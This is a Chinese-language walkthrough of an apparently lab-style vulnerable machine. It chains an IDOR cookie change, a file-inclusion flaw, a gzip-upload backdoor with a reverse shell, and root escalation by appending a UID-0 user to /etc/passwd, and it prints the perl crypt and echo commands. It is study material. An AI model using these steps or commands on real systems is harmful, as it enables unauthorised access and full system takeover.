主机探测
很意外只开放了一个端口
nmap简单的漏洞扫描得到了几个路径信息,并且提示可能存在sql注入。
但这里提示是文件包含失败。
尝试读/etc/passwd
还是失败,可能做了目录限制。
web
这里初始界面功能点很少,只有登录
这个登录界面我第一眼看过去感觉像sqllibs里的登陆,于是试一下sql注入。
这里功能点一个一个看过去,注意到有上传点
提示当前用户不能上传
这里我想到了越权,于是查看数据包
这里可以看到有uid=1这个参数,试试改一下
可以看到这里用户已经切换了。后续可以放到bp里爆破一下,一共有11个用户。
改cookie上传文件
上传成功后我们尝试去读取文件。
这里我的思路是,之前前台有文件包含漏洞,那么尝试去读我上传的这个文件,但是一直没有利用成功。我的思路到这里就断了。
后来看wp原来是另一个地方存在文件包含漏洞。
security模块下的post参数存在文件包含漏洞
尝试去读我们的上传文件。
前面提示我们上传的文件在home下,那么可能是/home/user或是~user
这里是~user,文件直接上传到用户的家目录了。
不过这里直接连接shell有些许的问题(我这里是反弹shell)
回想之前的上传点好像说要做gzip格式,不妨我们看看它上传的格式是怎么样的
用之前的文件包含漏洞看一下upload这个php文件,注意这里需要用伪协议转一下base64
<?php
if ( $auth == 0 ) {
echo "<center><h2>Content Restricted</h2></center>";
} else {
echo "<h3>Home Directory Uploader</h3>";
echo "<form enctype='multipart/form-data' action='index.php?page=transfer.php' method='POST'>";
echo "Please choose a file: <input name='uploaded' type='file' /><br />";
echo "<input type='checkbox' name='autoextract' value='true' /> Enable the automatic extraction of gzip archives.<br>";
echo "<input type='submit' value='Upload' /></form>";
}
?>
这里只是输出功能,貌似没有上传功能的详细介绍。
注意到我们上传以后文件变化为transfer.php,那么去看一下这个文件
";
} else {
if ( $upload == 1 )
{
$homedir = "/home/".$logged_in_user. "/";
$uploaddir = "upload/";
$target = $uploaddir . basename( $_FILES['uploaded']['name']) ;
$uploaded_type = $_FILES['uploaded']['type'];
$command=0;
$ok=1;
if ( $uploaded_type =="application/gzip" && $_POST['autoextract'] == 'true' ) { $command = 1; }
if ($ok==0)
{
echo "Sorry your file was not uploaded";
echo "Back to upload page";
} else {
if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))
{
echo "
The file '" .$_FILES['uploaded']['name']. "' has been uploaded.
";
echo "The ownership of the uploaded file(s) have been changed accordingly.";
echo "
Back to upload page";
if ( $command == 1 )
{
exec("sudo tar xzf " .$target. " -C " .$homedir);
exec("rm " .$target);
} else {
exec("sudo mv " .$target. " " .$homedir . $_FILES['uploaded']['name']);
}
exec("/var/apache2/htdocs/update_own");
} else {
echo "Sorry, there was a problem uploading your file.
";
echo "
Back to upload page";
}
}
} else { echo "
Home directory uploading disabled for user " .$logged_in_user. "
"; }
}
?>
因为内嵌了一些前端的东西所以看起来比较奇怪。
这里跟着upload=1这个逻辑走下来,发现它是将上传的文件用tar指令打包到系统用户的家目录下,所以我们只需要用tar指令去打包一个文件上传即可
tar czf xxx.tar.gz [backdoor]
为什么是这个形式呢,这里我的理解是,上传时提出了需要以gz形式上传,而最后打包处理时候用的是tar这个形式,这里对于压缩指令我学习的还不是很好,暂且这么理解。
改完以后上传,可以看到已经上传成功
已经连回来了
提权
这里sudo -l可以看到存在几个nopasswd可以执行的命令
到这提权思路就很清晰了,直接修改passwd文件为www-data用户的文件即可然后写入一个root用户
写入一个超级用户
用perl生成密码
perl -le 'print crypt("password@123","addedsalt")'
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
生成一个test用户
然后切换即可提权成功
总结
整体难度不算难,但是文件包含那里不容易发现利用点,此为对于linux的压缩指令还是不太清楚,后续需要继续学习